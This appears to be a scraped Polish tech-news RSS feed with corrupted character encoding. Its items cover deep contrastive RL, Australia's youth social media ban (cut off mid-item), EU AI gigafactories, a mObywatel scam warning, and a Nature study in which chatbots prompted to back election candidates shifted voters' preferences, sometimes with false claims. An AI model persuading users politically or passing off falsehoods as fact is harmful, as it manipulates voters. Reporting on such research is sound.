Jak wygland#261;da np. nauka chodzenia w wykonaniu modelu RL? Dajemy komputerowemu ludzikowi nogi, rand#281;ce, oczy i wiedzand#281;, and#380;e kiedy dotrze do and#347;rodka labiryntu, to dostanie nagrodand#281;. Ludzik nie moand#380;e obserwowaand#263;, jak chodzi mama, nikt nie trzyma go za rand#261;czki, and#380;eby siand#281; nie przewrand#243;ciand#322;, nie dostaje do przeczytania instrukcji uand#380;ywania nand#243;g ani buziaczkand#243;w za pierwsze kroki. Dotrze do celu? Nagroda! Nie dotrze - brak nagrody. Moand#380;e styl chodzenia, jaki wypracuje przywoand#322;a na myand#347;l ministerstwo gand#322;upich krokand#243;w, a moand#380;e pozazdroand#347;ci mu Robert Korzeniowski? Niewaand#380;ne. Byleby dotarand#322; do celu.
Do tej pory ludzika dawaand#322;o siand#281; wyposaand#380;yand#263; tylko w kilka warstw sieci neuronowych, tworzand#261;c jego and#8222;minimand#243;zgand#8221;. Zwiand#281;kszanie liczby warstw takiego and#8222;minimand#243;zguand#8221; nie prowadziand#322;o do rozwiand#261;zania problemu, a wrand#281;cz go uniemoand#380;liwiaand#322;o. Teraz zaand#347; zespand#243;and#322; z USA i Polski pokazaand#322; zupeand#322;nie nowy pomysand#322;: odkryand#322;, jak zwiand#281;kszyand#263; w modelu RL liczband#281; warstw sieci neuronowej do nawet 1024. A skokowe zwiand#281;kszenie gand#322;and#281;bokoand#347;ci takich sieci tworzy juand#380; wcale nie mini-, ale and#8222;makromand#243;zgand#8221;.
SKOK W ROZWOJU AI. NAD and#346;CIANand#260; LABIRYNTU
O ile przy paru takich warstwach sieci ludzik niezgrabnie odkrywaand#322;, do czego sand#322;uand#380;and#261; koand#324;czyny i koand#347;lawo ciand#261;gnand#261;and#322; swoje ciaand#322;o po labiryncie, to dziand#281;ki rozwiand#261;zaniu badaczy, tzw. contrastive RL (CRL) ludzik dokonaand#322; - caand#322;kiem dosand#322;ownie - skokowego postand#281;pu w nauce poruszania siand#281;. Liczba sukcesand#243;w w dotarciu do celu wzrosand#322;a ponad 50-krotnie. I tak np. przy 256 warstwach ludzik odkryand#322;, and#380;e jeand#347;li kucnie, a potem odbije siand#281; w gand#243;rand#281;, to uda mu siand#281; przeskoczyand#263; nad and#347;cianami labiryntu, and#380;eby szybciej dotrzeand#263; do nagrody. To siand#281; nazywa myand#347;lenie nieszablonowe and#8211; thinking outside the box!
Skoro zaand#347; juand#380; nawet stare modele RL - o kilku warstwach - zdoand#322;aand#322;y wypracowaand#263; strategiand#281; wygrania z czand#322;owiekiem w grand#281; Go i szukajand#261; coraz lepszych lekand#243;w, to co band#281;dand#261; w stanie zrobiand#263; te, ktand#243;re majand#261; 1000 warstw i przeskakujand#261; przez labirynt? Pora siand#281; przekonaand#263;! Algorytm CRL jest udostand#281;pniony bezpand#322;atnie wszystkim zainteresowanym (https://wang-kevin3290.github.io/scaling-crl/).
CEBULA MA WARSTWY? MODEL RL MA WARSTWY
Jeden z twand#243;rcand#243;w rozwiand#261;zania, prof. Tomasz Trzciand#324;ski z PW w rozmowie z PAP tand#322;umaczy, and#380;e warstwy to element architektury sieci neuronowej, ktand#243;ry pozwala uzyskiwaand#263; kolejne etapy przetwarzania informacji w sieci neuronowej. Im wiand#281;cej warstw, tym trudniejsze operacje mogand#261; zachodziand#263; pomiand#281;dzy miand#281;dzy informacjand#261; wejand#347;ciowand#261;, a koand#324;cowy rezultatem. Jeand#347;li zwiand#281;ksza siand#281; liczband#281; warstw, a wiand#281;c gand#322;and#281;bokoand#347;and#263; sieci, model jest w stanie nauczyand#263; siand#281; bardziej skomplikowanych koncepcji i buduje bogatszand#261; reprezentacjand#281; and#347;wiata, zanim podejmie dziaand#322;ania.
- W przypadku zadania z labiryntem, model ma wiand#281;cej stopni swobody niand#380; tylko krok w lewo czy w prawo and#8211; moand#380;e skakaand#263;, zginaand#263; siand#281;, wyciand#261;gaand#263; rand#281;kand#281;. To sand#261; dodatkowe moand#380;liwoand#347;ci, ktand#243;re pozwalajand#261; na znajdowanie nowych, kreatywnych rozwiand#261;zaand#324; - skomentowaand#322; prof. Trzciand#324;ski.
Skalowanie, czyli zwiand#281;kszanie liczby warstw sieci neuronowych (a wiand#281;c ich gand#322;and#281;bokoand#347;ci), byand#322;o z powodzeniem stosowane w wielu modelach, np. w LLM-ach (duand#380;ych modelach jand#281;zykowych), takich jak GPT. Naukowcy potrafili wiand#281;c rozwijaand#263; and#8222;duand#380;e mand#243;zgiand#8221; tylko w innych architekturach stosowanych w uczeniu maszynowym.
Tymczasem modele RL pozostawaand#322;y w tym zakresie daleko w tyle - wykorzystywaand#322;y bardzo pand#322;ytkie sieci neuronowe majand#261;ce zaledwie 2-5 warstw. - Kiedy prand#243;bowano dorzuciand#263; kolejne warstwy, algorytm siand#281; gubiand#322; i model przestawaand#322; siand#281; trenowaand#263;. Przyjand#281;and#322;o siand#281; wiand#281;c sand#261;dziand#263;, and#380;e modele RL takie juand#380; sand#261;: muszand#261; mieand#263; pand#322;ytkie sieci i nie da siand#281; tego zmieniand#263; - podsumowaand#322; prof. Trzciand#324;ski.
W swoich badaniach w ramach doktoratu Michaand#322; Bortkiewicz pokazaand#322;, and#380;e kluczem do rozwoju tych kolejnych warstw - wewnand#281;trznych mand#243;zgand#243;w modelu - jest wykorzystanie techniki znanej z innego nurtu badaand#324; nad uczeniem maszynowym - to tzw. samonadzorowane uczenie (SSL). W takiej odmianie uczenia wykorzystuje siand#281; tzw. zadania pretekstowe (ang. pretext tasks), ktand#243;re zmuszajand#261; model do zrozumienia wewnand#281;trznej struktury danych i nadania im etykiet, zanim wyruszy na poszukiwanie odpowiedzi. W metodzie SSL przygotowywany jest choand#263;by pierwszy etap - pretrening - duand#380;ych modeli jand#281;zykowych LLM.
Autorzy badaand#324; stwierdzajand#261;, and#380;e w nowoczesnych modelach te dwa typy uczenia: RL i SSL nie muszand#261; byand#263; przeciwstawnymi reguand#322;ami, ale mogand#261; zostaand#263; poand#322;and#261;czone, aby uzyskaand#263; niespotykane rezultaty. - Relatywnie maand#322;a zmiana, ktand#243;rand#261; odkryliand#347;my, powoduje tak ogromne, przeand#322;omowe osiand#261;gniand#281;cia - zauwaand#380;yand#322; prof. Trzciand#324;ski.
Co ciekawe, mimo gigantycznego wzrostu liczby warstw, model nie staand#322; siand#281; bardziej energoand#380;erny w przeliczeniu na efekt and#8211; and#8222;myand#347;liand#8221; wprawdzie w sposand#243;b bardziej skomplikowany, ale dziand#281;ki temu szybciej znajduje rozwiand#261;zanie, zamiast dand#322;ugo band#322;and#261;dziand#263; bez celu.
- Nasze badania pokazujand#261;, and#380;e warto kwestionowaand#263; utarte szlaki i myand#347;leand#263; and#8222;outside the boxand#8221;. Nawet w Polsce, gdzie finansowanie nauki i badaand#324; podstawowych nie jest wystarczajand#261;ce, czy porand#243;wnywalne do innych krajand#243;w rozwiniand#281;tych, moand#380;na zadawaand#263; trafne pytania i kwestionowaand#263; status quo, aby zmieniand#263; and#347;wiat i odkrywaand#263; rzeczy, na ktand#243;re nikt do tej pory nie wpadand#322; - podsumowaand#322; prof. Trzciand#324;ski.
Informatyk wyraziand#322; nadziejand#281;, and#380;e modele CRL przyczyniand#261; siand#281; do projektowania nowych lekand#243;w na and#347;miertelne choroby czy uand#322;atwiand#261; proces personalizacji lekand#243;w. - Chciaand#322;bym teand#380; zobaczyand#263;, jak te metody pozwalajand#261; na opracowanie takich modeli sztucznej inteligencji, ktand#243;re band#281;dand#261; w stanie samodzielnie siand#281; ulepszaand#263;, aby np. kreatywnie tworzyand#263; nowe pomysand#322;y i prowadziand#263; do kolejnych etapand#243;w rozwoju nauki - oceniand#322; prof. Trzciand#324;ski.
Ludwika Tomala (PAP)
and#160;
and#377;rand#243;dand#322;o:and#160;naukawpolsce.pland#160; ]]></description>
		</item><item>
			<title><![CDATA[ Australia wprowadziła ban na social media dla dzieci poniżej 16 lat. Nie wyszło tak jak chcieli… ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1599</link>
			<description><![CDATA[ Odand#160;dziand#347;and#160;dzieci w Australii nie powinny juand#380; mand#243;c korzystaand#263;and#160;z mediand#243;w spoand#322;ecznoand#347;ciowych, takich jak: Facebook, Instagram, Snapchat, Threads, TikTok, Twitch, X, YouTube, Kick, Reddit. Czy wprowadzenie and#8220;The Social Media Minimum Age Billand#8221; siand#281;and#160;udaand#322;o i australijskich dzieci nie ma juand#380; na socialach? Odpowiedzi siand#281; pewnie domyand#347;lacie :-)

Bardzo waand#380;na informacja dotyczand#261;ca ochrony dzieci w internecie
Zacznijmy od tego, and#380;e jako Niebezpiecznikand#160;zgadzamy siand#281;and#160;z najnowszymi wnioskami psychologand#243;w, and#380;eand#160;dzieci do 16 roku and#380;ycia nie powinny mieand#263; dostand#281;pu do mediand#243;w spoand#322;ecznoand#347;ciowych. W obecnym ksztaand#322;cie. Czyli w takim, gdzie:

algorytmy platform profilujand#261; i podsuwajand#261; treand#347;ci, w wiand#281;kszoand#347;ci krand#243;tkie i gand#322;upie, co negatywnie wpand#322;ywaand#160;nie tylko na dzieciand#281;ceand#160;mand#243;zgi
platformy nie usuwajand#261; treand#347;ci nielegalnych i to pomimo wielokrotnych zgand#322;oszeand#324;,
wand#322;aand#347;ciciele platform stawiajand#261; wyand#322;and#261;cznie na maksymalizacjand#281; swojego zysku, a nie dobro czy rozwand#243;j albo edukacjand#281; uand#380;ytkownikand#243;w

Uwaand#380;amy, and#380;e toand#160;roland#261; rodzicand#243;w i w gestii rodzicand#243;wand#160;(a nie platform czy rzand#261;du) powinna byand#263; ocena, co moand#380;e, a czego nie moand#380;e konkretne dziecko robiand#263; przed ekranem. Roland#261; rzand#261;dand#243;w, platform i szkand#243;and#322; powinna natomiast byand#263; obowiand#261;zkowa edukacja rodzicand#243;w (w kampaniach, na wywiadand#243;wkach) w obszarze:

jakie sand#261; najnowsze wnioski z badaand#324;, jeand#347;li chodzi o wpand#322;yw elektroniki i rand#243;and#380;nych zakand#261;tkand#243;w internetu na dzieci (bo nie caand#322;a elektronika i nie caand#322;y internet jest zand#322;y)
jak moand#380;na wdroand#380;yand#263; metody tzw. and#8220;kontroli rodzicielskiejand#8221; w zaleand#380;noand#347;ci od swoich przekonaand#324;, etapu rozwoju dziecka (jeden 12 latek nie jest rand#243;wny drugiemu) czy poziomu zaufania jakim rodzice swoje dzieci darzand#261;. Bo to kontrola rodzicielska zaaplikowana na wejand#347;ciu (urzand#261;dzenia do ktand#243;rych ma dostand#281;p na dziecko) przez rodzica, jest najmniej naruszajand#261;cand#261; prawa innych osand#243;b formand#261; ograniczeand#324;.

Trzeba jednak przy tym pamiand#281;taand#263;, and#380;e pewnych kwestii dotyczand#261;cych ochrony dzieci w internecie nie da siand#281;and#160;rozwiand#261;zaand#263; technologiand#261; and#8212;and#160;pisaliand#347;my juand#380;and#160;wielokrotnie, wiand#281;c nie band#281;dziemy siand#281;and#160;powtarzaand#263;, po prostu przeczytajcieand#160;tenand#160;artykuand#322;. Przeczytajcie teand#380;and#160;dlaczego warto chroniand#263; prywatnoand#347;and#263; dziecka za wszelkand#261; cenand#281;. Oraz and#8212; jeand#347;li jesteand#347;cie odpowiedzialnymi rodzicami and#8212;and#160;rzuand#263;cie okiem na nasz poradnik, ktand#243;ry pokazuje jak moand#380;ecie, jako rodzice, skutecznieand#160;ograniczyand#263;and#160;dziecku dostand#281;p do nieodpowiednich dla niego treand#347;ci i aplikacjiand#160;oraz jak moand#380;ecieand#160;skutecznie limitowaand#263;/kontrolowaand#263; czas, jaki spand#281;dza przed ekranami.
A teraz, po tym przydand#322;ugim, ale istotnym i potrzebnym wstand#281;pie, wrand#243;and#263;my do Australii.
To nie wyszand#322;o bo nie miaand#322;o prawa wyjand#347;and#263;
Politycy znand#243;w and#380;yczeniowo narzucili na platformy obowiand#261;zek ograniczenia dostand#281;pu dla osand#243;b poniand#380;ej 16 roku and#380;ycia. Dali co prawda serwisom wskazand#243;wki, ale relacje mand#322;odych osand#243;b z Australii pokazujand#261;, and#380;e rand#243;and#380;ne serwisy rand#243;and#380;nie do tego podeszand#322;y.
Niektand#243;re z dzieciand#160;faktycznie zobaczyand#322;y dziand#347;, po odpaleniu aplikacji danego serwisu, komunikat informujand#261;cy o blokadzie kontaand#160;dopand#243;ki nie przejdand#261; weryfikacji, and#380;e majand#261;and#160;wiand#281;cej niand#380; 16 lat.

Aleand#160;to samo dziecko, ktand#243;re zobaczyand#322;o taki komunikat na swoim Instagramie, nie widziaand#322;o juand#380; takiego komunikatu na swoim TikToku. Wiand#281;cand#160;ochrona nie jest szczelnaand#160;i and#8212; to jest to czego wiand#281;kszoand#347;and#263; politykand#243;w nie rozumie and#8212; nigdy szczelna nie ma szansy byand#263;. A tylko szczelna ochrona rozwiand#261;zuje problem, ktand#243;ry wprowadzona w Australii ustawa chce rozwiazaand#263;.
Jak australijskie serwisy typujand#261; maand#322;olatand#243;w?
Moand#380;emy siand#281;and#160;jedynie domyand#347;laand#263;, and#380;e platformy ustalajand#261;c, czy konto naleand#380;y do osoby and#8220; ]]></description>
		</item><item>
			<title><![CDATA[ Badanie: rozmowa z chatbotem może wpływać na polityczne decyzje wyborców ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1598</link>
			<description><![CDATA[ Chatboty oparte na sztucznej inteligencji mogand#261; realnie wpand#322;ywaand#263; na postawy wyborcand#243;w i robiand#261; to skuteczniej niand#380; tradycyjne reklamy polityczne. Nawet krand#243;tka rozmowa z modelem jand#281;zykowym moand#380;e przesunand#261;and#263; preferencje wyborcze o kilka punktand#243;w procentowych - pokazuje badanie z udziaand#322;em dr Gabrieli Czarnek z UJ.


Wciand#261;and#380; nie jest jasne, na ile generatywna AI, a zwand#322;aszcza chatboty oparte na duand#380;ych modelach jand#281;zykowych (LLM), moand#380;e skutecznie zmieniaand#263; postawy wyborcand#243;w, szczegand#243;lnie w kampaniach prezydenckich. Istniejand#261; badania naukowe, ktand#243;re pokazujand#261;, and#380;e AI moand#380;e przewyand#380;szaand#263; ludzi w perswazji, a wchodzenie z niand#261; w dialog jest bardziej przekonujand#261;ce niand#380; statyczne komunikaty, np. spoty wyborcze.
W pracy opublikowanej na and#322;amachand#160;Natureand#160;miand#281;dzynarodowy zespand#243;and#322; badaczy z uczelni amerykaand#324;skich (Carnegie Mellon University, MIT, Cornell University), a takand#380;e kanadyjskiej (University of Regina) i polskiej (Uniwersytet Jagielloand#324;ski) sprawdziand#322;, czy dialogi prowadzone z najnowoczeand#347;niejszymi modelami AI mogand#261; w istotny sposand#243;b zmieniaand#263; polityczne postawy Amerykanand#243;w, ale teand#380; Kanadyjczykand#243;w i Polakand#243;w. Jednand#261; ze wspand#243;and#322;autorek publikacji jest dr Gabriela Czarnek z Instytutu Psychologii Uniwersytetu Jagielloand#324;skiego.
- W kontekand#347;cie wyborand#243;w prezydenckich w USA w 2024 roku, wyborand#243;w parlamentarnych w Kanadzie w 2025 roku oraz wyborand#243;w prezydenckich w Polsce w 2025 roku losowo przypisaliand#347;my uczestnikand#243;w do rozmowy z modelem AI, ktand#243;ry opowiadaand#322; siand#281; za jednym z dwand#243;ch gand#322;and#243;wnych kandydatand#243;w - opisuje dr Gabriela Czarnek.
Do badania zaangaand#380;owano ponad 2,3 tys. Amerykanand#243;w, ktand#243;rzy pod koniec 2024 roku mieli przeprowadziand#263; rozmowand#281; z chatbotem. Badani okreand#347;lali swojand#261; preferencjand#281; wobec kandydatki Demokratand#243;w Kamali Harris i kandydata Republikanand#243;w Donalda Trumpa, w skali od 0 do 100, oraz swoje prawdopodobieand#324;stwo gand#322;osowania w wyborach. Nastand#281;pnie rozmawiali z odpowiednio and#8220;zaprogramowanymand#8221; chatbotem, ktand#243;ry miaand#322; zmieniand#263; postawy wyborcand#243;w wobec danego kandydata.
Model AI otrzymaand#322; instrukcje, zgodnie z ktand#243;rymi jego przekaz miaand#322; byand#263; pozytywny, peand#322;en szacunku i opieraand#263; siand#281; na faktach. Chatbot miaand#322; teand#380; uand#380;ywaand#263; przekonujand#261;cych argumentand#243;w i analogii, aby zbudowaand#263; relacjand#281; z rozmand#243;wcand#261;. Modelowi dostarczono rand#243;wnieand#380; informacje o tym, na kogo dany uczestnik zamierza gand#322;osowaand#263;, aby chatbot spersonalizowaand#322; swand#243;j przekaz. Po rozmowie uczestnicy ponownie wypeand#322;nili ankiety. Ponad miesiand#261;c pand#243;and#378;niej skontaktowano siand#281; z nimi raz jeszcze, aby oceniand#263; trwaand#322;oand#347;and#263; efektand#243;w.
- Zaobserwowaliand#347;my istotne efekty takiej perswazji na preferencje kandydatand#243;w, gdy dyskutowano o konkretnych kwestiach politycznych and#8212; wiand#281;ksze niand#380; te zazwyczaj obserwowane np. w przypadku tradycyjnych reklam wideo. Model AI popierajand#261;cy Donalda Trumpa spowodowaand#322; przesuniand#281;cie potencjalnych wyborcand#243;w Kamali Harris o 2,3 punktu procentowego w stronand#281; kandydata Republikanand#243;w. Zaand#347; model wspierajand#261;cy Kamaland#281; Harris przesunand#261;and#322; prawdopodobnych wyborcand#243;w Trumpa o 3,9 punktu w stronand#281; kandydatki Demokratand#243;w - opisuje wynik dr Gabriela Czarnek.
Efekt ten jest okoand#322;o czterokrotnie wiand#281;kszy niand#380; wywoand#322;any tradycyjnymi reklamami, ktand#243;rych wpand#322;yw testowano w wyborach w 2016 i 2020 roku.
W eksperymencie przeprowadzonym w tygodniu poprzedzajand#261;cym kanadyjskie wybory federalne w kwietniu 2025 roku ponad 1,5 tys Kanadyjczykand#243;w losowo przydzielono do rozmowy z modelami AI, ktand#243;re opowiadaand#322;y siand#281; za liderem Partii Liberalnej Markiem Carneyem lub opozycyjnym liderem Partii Konserwatywnej Pierrem Poilievrem. Efekt perswazyjny byand#322; w Kanadzie prawie trzykrotnie wiand#281;kszy niand#380; w eksperymencie amerykaand#324;skim. Jednak gdy model AI pozbawiono moand#380;liwoand#347;ci odwoand#322;ywania siand#281; do faktand#243;w i danych, efekt zmniejszyand#322; siand#281; o ponad poand#322;owand#281;.
W maju 2025 roku, w ciand#261;gu dwand#243;ch tygodni poprzedzajand#261;cych wybory prezydenckie w Polsce, ponad 2,1 tys. Polakand#243;w losowo przydzielono do rozmand#243;w z modelami AI, ktand#243;re opowiadaand#322;y siand#281; za kandydatem Koalicji Obywatelskiej Rafaand#322;em Trzaskowskim lub kandydatem wspieranym przez Prawo i Sprawiedliwoand#347;and#263; Karolem Nawrockim. Podobnie jak w Kanadzie and#8212; efekt perswazyjny byand#322; niemal trzykrotnie wiand#281;kszy niand#380; w eksperymencie USA, a pozbawienie AI moand#380;liwoand#347;ci odwoand#322;ywania siand#281; do faktand#243;w zmniejszaand#322;o efekt aand#380; o 78 proc.
Analiza strategii perswazyjnych stosowanych przez modele AI wskazuje, and#380;e przekonywaand#322;y one za pomocand#261; odwoand#322;ywania siand#281; do faktand#243;w i danych. Rzadko stosowaand#322;y strategie czand#281;sto omawiane w literaturze psychologicznej i politologicznej, takie jak bezpoand#347;rednie wezwanie do gand#322;osowania, wywoand#322;ywanie gniewu, strategie wpand#322;ywu spoand#322;ecznego czy przywoand#322;ywanie and#347;wiadectw innych osand#243;b.

Nie wszystkie przedstawione przez nie informacje zaprezentowane jako fakty byand#322;y jednak poprawne. We wszystkich trzech krajach modele AI opowiadajand#261;ce siand#281; za kandydatami z prawej strony sceny politycznej czand#281;and#347;ciej przedstawiaand#322;y nieprawdziwe twierdzenia, niand#380; modele agitujand#261;ce za kandydatami centrowymi. Jest to zgodne z wczeand#347;niejszymi badaniami pokazujand#261;cymi, and#380;e w USA to wyborcy prawicy czand#281;and#347;ciej udostand#281;pniajand#261; treand#347;ci wprowadzajand#261;ce rozmand#243;wcand#243;w w band#322;and#261;d. Modele generatywne wydajand#261; siand#281; powielaand#263; nierand#243;wnoand#347;ci informacyjne obserwowane w spoand#322;eczeand#324;stwie - opisuje badaczka UJ. (PAP)

and#377;rand#243;dand#322;o: naukawpolsce.pland#160; ]]></description>
		</item><item>
			<title><![CDATA[ Gigafabryki AI w Europie powstaną szybciej. "Jesteśmy potęgą technologiczną" ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1597</link>
			<description><![CDATA[ Europejski Bank Inwestycyjny i Komisja Europejska podpisaand#322;y w czwartek porozumienie, w ramach ktand#243;rego zamierzajand#261; przyspieszyand#263; budowand#281; w Unii Europejskiej do piand#281;ciu duand#380;ych centrand#243;w danych i mocy obliczeniowych. Oand#347;rodki te majand#261; byand#263; kluczowe dla rozwoju najbardziej zaawansowanych modeli sztucznej inteligencji (AI).


and#160;

and#160;


and#160;






Projekty kwalifikujand#261;ce siand#281; do finansowania band#281;dzie moand#380;na zgand#322;aszaand#263; w ramach formalnego zaproszenia do skand#322;adania wnioskand#243;w, zaplanowanego na poczand#261;tek 2026 roku.Sashkin / Shutterstock




and#160;






and#160;







Inwestycje w europejskie gigafabryki danych
Celem inicjatywy jest zwiand#281;kszenie europejskich mocy obliczeniowych i wzmocnienie konkurencyjnoand#347;ci technologicznej UE. Kaand#380;da z planowanych gigafabryk ma wykorzystywaand#263; ok. 100 tys. najnowoczeand#347;niejszych ukand#322;adand#243;w AI - czterokrotnie wiand#281;cej niand#380; obecne instalacje tego typu.
Komisja Europejska przeznaczyand#322;a na przedsiand#281;wziand#281;cie 20 mld euro z funduszu InvestAI, a EBI ma rozwaand#380;yand#263; moand#380;liwoand#347;and#263; wykorzystania poand#380;yczek na ten cel,and#160;aby zwiand#281;kszyand#263; zaangaand#380;owanie kapitaand#322;u prywatnego.

Europa jest potand#281;gand#261; technologicznand#261;. Wspierajand#261;c rozwand#243;j gigafabryk AI, zwiand#281;kszamy moce obliczeniowe i tworzymy warunki sprzyjajand#261;ce innowacjom - podkreand#347;liand#322;a prezeska EBI Nadia Calvino, cytowana w komunikacie banku.

Wiceszefowa Komisji Europejskiej ds. suwerennoand#347;ci technologicznej Henna Virkkunen podkreand#347;liand#322;a, and#380;e przedsiand#281;wziand#281;cie ma pobudziand#263; europejskie badania, innowacje i konkurencyjnoand#347;and#263;. -and#160;Pomoand#380;emy zmobilizowaand#263; bezprecedensowy kapitaand#322; na europejskie gigafabryki AI,and#160;ktand#243;re umoand#380;liwiand#261; wszystkim naszym naukowcom i firmom opracowywanie najbardziej zaawansowanych, bardzo duand#380;ych modeli niezband#281;dnych do uczynienia z Europy kontynentu AI - powiedziaand#322;a.
Projekty kwalifikujand#261;ce siand#281; do finansowania band#281;dzie moand#380;na zgand#322;aszaand#263; w ramach formalnego zaproszenia do skand#322;adania wnioskand#243;w, zaplanowanego na poczand#261;tek 2026 roku
and#160;
and#377;rand#243;dand#322;o: PAP/DO ]]></description>
		</item><item>
			<title><![CDATA[ Ministerstwo Cyfryzacji ostrzega: cyberprzestępcy podszywają się pod mObywatela ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1596</link>
			<description><![CDATA[ Uwaga na reklamy w mediach spoand#322;ecznoand#347;ciowych, za poand#347;rednictwem ktand#243;rych cyberprzestand#281;pcy prand#243;bujand#261; podszywaand#263; siand#281; pod mObywatela. Ministerstwo Cyfryzacji apeluje o czujnoand#347;and#263; i korzystanie wyand#322;and#261;cznie z oficjalnej wersji aplikacji.


and#8222;Oszustwo na mObywatelaand#8221; and#8211; schemat dziaand#322;ania przestand#281;pcand#243;w

Cyberprzestand#281;pcy w materiaand#322;ach publikowanych w mediach spoand#322;ecznoand#347;ciowych reklamujand#261; aplikacjand#281; mObywatel 3.0. Zapewniajand#261;, and#380;e z poziomu nowej wersji moand#380;liwe jest zarabianie pieniand#281;dzy.
Klikniand#281;cie w reklamand#281; prowadzi do strony internetowej, ktand#243;ra przypomina oficjalnand#261; witrynand#281; aplikacji. Tam uand#380;ytkownik proszony jest o dokonanie rejestracji. Krok ten sand#322;uand#380;y kradzieand#380;y danych osobowych.
W nastand#281;pnym etapie do uand#380;ytkownika dzwoni oszust podajand#261;cy siand#281; za doradcand#281;. Zachand#281;ca do przelania oszczand#281;dnoand#347;ci na specjalne konto inwestycyjne. Jeand#347;li osoba zdecyduje siand#281; na ten ruch, jej pieniand#261;dze trafiand#261; do zand#322;odzieja, a ich odzyskanie moand#380;e okazaand#263; siand#281; niezmiernie trudne lub nawet niemoand#380;liwe.



mObywatel and#8211; co warto wiedzieand#263;, aby nie daand#263; siand#281; okraand#347;and#263;

Podstawowym narzand#281;dziem cyberprzestand#281;pcand#243;w jest niewiedza internautand#243;w. Poniand#380;ej znajduje siand#281; lista przydatnych informacji na temat aplikacji. Dziand#281;ki nim uand#380;ytkownicy z and#322;atwoand#347;ciand#261; rozpoznajand#261; faand#322;szywe treand#347;ci dotyczand#261;ce mObywatela.

Oficjalna nazwa aplikacji toand#160;mObywatel 2.0. Wprowadzenie Europejskiego portfela toand#380;samoand#347;ci cyfrowej, obecnie nazywanego roboczo mObywatelem 3.0, zaplanowano na grudzieand#324; 2026 roku.
Na dzieand#324; 2.12.2025 aktualna wersja aplikacji nosi numerand#160;4.71.1. Wersjand#281; aplikacji moand#380;na sprawdziand#263; na ekranie powitalnym przed zalogowaniem, na samym dole ekranu.
Aplikacjand#281; naleand#380;y pobraand#263; z jednego z dwand#243;ch oficjalnych and#378;rand#243;deand#322;, do ktand#243;rych naleand#380;yand#160;Sklep Playand#160;orazand#160;App Store.
mObywatel jest aplikacjand#261; w peand#322;niand#160;darmowand#261;. Dodatkowo nie udostand#281;pniaand#160;and#380;adnych usand#322;ug umoand#380;liwiajand#261;cych zarabianie pieniand#281;dzy.
mObywatel rozwijany jest w Centralnym Oand#347;rodku Informatyki. Pracownicyand#160;COI nie kontaktujand#261; siand#281;and#160;pierwsi z uand#380;ytkownikami aplikacji.
Jedynand#261; oficjalnand#261; drogand#261; pozwalajand#261;cand#261; uzyskaand#263; pomoc w obsand#322;udze mObywatela jestand#160;kontakt z infoliniand#261; pod numerem +48 42 253 54 74and#160;lub poprzezand#160;wiadomoand#347;and#263; e-mail na adres:and#160;mobywatel-pomoc@coi.gov.pl. Pracownicy COI sand#261; dostand#281;pni w dni robocze od 7:00 do 18:00.
mObywatel jest obecny w mediach spoand#322;ecznoand#347;ciowych. Oficjalnych informacji o aplikacji naleand#380;y szukaand#263; na profilach Ministerstwa Cyfryzacji oraz Centralnego Oand#347;rodka Informatyki. Aplikacja posiada rand#243;wnieand#380; dedykowany profil na platformie X.
Oficjalnand#261; stronand#261; poand#347;wiand#281;conand#261; mObywatelowi jest witrynaand#160;https://info.mobywatel.gov.pl/. O aplikacji moand#380;na rand#243;wnieand#380; przeczytaand#263; na portalu rzand#261;dowym:and#160;https://www.gov.pl/.




Gdzie zgand#322;aszaand#263; prand#243;by oszustwa?

Jeand#347;li uand#380;ytkownik zetknie siand#281; z faand#322;szywymi treand#347;ciami dotyczand#261;cymi mObywatela, moand#380;e zgand#322;osiand#263; ten fakt przy pomocy aplikacji. Usand#322;uga Bezpiecznie w sieci pozwala na zaraportowanie niebezpiecznych incydentand#243;w ekspertom z NASK.
Jak to zrobiand#263;? Naleand#380;y:

zalogowaand#263; siand#281; do mObywatela i wybraand#263; Usand#322;ugi,
wcisnand#261;and#263; Bezpiecznie w sieci, a nastand#281;pnie Zgand#322;oand#347; incydent,
wybraand#263; Oszustwa i cyberataki,
zdecydowaand#263;, do jakiej kategorii kwalifikuje siand#281; zgand#322;oszenie (np. oszustwo lub zand#322;oand#347;liwa strona internetowa),
zapoznaand#263; siand#281; z informacjami na ekranie i wcisnand#261;and#263; Dalej,
opisaand#263; incydent,
opcjonalnie dodaand#263; zaand#322;and#261;czniki,
wpisaand#263; swand#243;j e-mail lub wybraand#263; zgand#322;oszenie anonimowe,
zapoznaand#263; siand#281; z podsumowaniem, a nastand#281;pnie wcisnand#261;and#263; Wyand#347;lij.

Wiand#281;cej informacji o usand#322;udze Bezpiecznie w sieci moand#380;na znaleand#378;and#263; pod adresem:and#160;https://info.mobywatel.gov.pl/uslugi/bezpiecznie-w-sieci.



Co powinno wzmand#243;c czujnoand#347;and#263; uand#380;ytkownika?

Jeand#347;li uand#380;ytkownik trafi na podejrzanand#261; treand#347;and#263; dotyczand#261;cand#261; mObywatela, powinien przede wszystkim powstrzymaand#263; siand#281; od podawania jakichkolwiek danych osobowych. Podobnie, jeand#347;li otrzyma telefon od osoby podajand#261;cej siand#281; za agenta czy doradcand#281; aplikacji.
Przechodzand#261;c na stronand#281; poand#347;wiand#281;conand#261; mObywatelowi, naleand#380;y upewniand#263; siand#281;, czy jest ona oficjalna. Moand#380;na to zrobiand#263;, weryfikujand#261;c jej adres. Witryny rzand#261;dowe posiadajand#261; domenand#281;and#160;gov.pl. Jest to adres zarezerwowany dla instytucji paand#324;stwowych i uand#380;ytkownik moand#380;e mieand#263; pewnoand#347;and#263;, and#380;e korzystanie z nich jest bezpieczne, a informacje na nich umieszczone and#8211; sprawdzone oraz aktualne. Ze szczegand#243;lnand#261; ostroand#380;noand#347;ciand#261; naleand#380;y traktowaand#263; adresy bardzo dand#322;ugie, zawierajand#261;ce band#322;and#281;dy w nazwach wand#322;asnych lub te zarejestrowane na serwerach zagranicznych (koand#324;czand#261;ce siand#281; innymi skrand#243;tami niand#380;and#160;.pl).
Wszelkie doniesienia o nowych dokumentach i usand#322;ugach naleand#380;y weryfikowaand#263; przy pomocy zaufanych and#378;rand#243;deand#322;. Informacje o nadchodzand#261;cych usprawnieniach aplikacji znajdujand#261; siand#281; pod adresem:and#160;https://info.mobywatel.gov.pl/rozwoj-aplikacji. Warto rand#243;wnieand#380; mieand#263; and#347;wiadomoand#347;and#263;, and#380;e mObywatel jest aplikacjand#261; ogand#243;lnodostand#281;pnand#261;. Oznacza to, and#380;e nie oferuje and#380;adnych odpand#322;atnych funkcji.
and#160;
